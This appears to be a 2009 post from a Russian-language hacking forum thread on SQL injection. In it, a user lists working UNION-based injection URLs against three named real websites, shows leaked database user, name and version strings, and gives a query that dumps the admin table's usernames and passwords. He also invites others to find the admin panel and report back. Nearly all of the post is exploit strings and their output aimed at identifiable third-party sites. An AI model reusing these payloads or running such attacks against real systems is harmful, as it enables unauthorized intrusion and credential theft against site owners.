SQL Инъекции — ANTICHAT Forum

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#11

03.08.2009, 15:10

nemaniak

Участник форума

Регистрация: 10.06.2008

Сообщений: 201

Провел на форуме:
1174919

Репутация: 229

pfibike.com

Код:

http://www.pfibike.com/dettagli2.php?id=5948'

Код:

http://www.pfibike.com/dettagli2.php?id=5948%27+union+select+1,2,3,4,5,concat_ws(char(58),user(),database(),version()),7,8,9,10,11,12+--+

Код:

pfibike@localhost:pfibikedb:5.0.45-log

Код:

http://www.pfibike.com/dettagli2.php?id=5948%27+union+select+1,2,3,4,5,group_concat(concat_ws(char(58),id,user,passw)),7,8,9,10,11,12+from+admin+--+

админки так и не нашел, если кому повезет, прошу черкнуть в ПМ

laforestadiscoclub.it

Код:

http://www.laforestadiscoclub.it/photo.php?dl_vars[dl_state]=parati&dl_vars[id_tipotenda]=-1+union+select+1,2,3,concat_ws(char(58),user(),database(),version()),5,6+--+

Код:

forest@localhost:forest:5.0.45-log

(вывод в адрес картинки)

elenparati.it

движок такой же как и в прошлом примере, так что запрос аналогичен...

Код:

http://www.elenparati.it/php/index.php?dl_vars[dl_state]=parati&dl_vars[id_tipotenda]=-1+union+select+1,2,3,concat_ws(char(58),user(),database(),version()),5,6+--+

вывод туда же)

Последний раз редактировалось jokester; 03.08.2009 в 15:37.. Причина: Правила темы читаем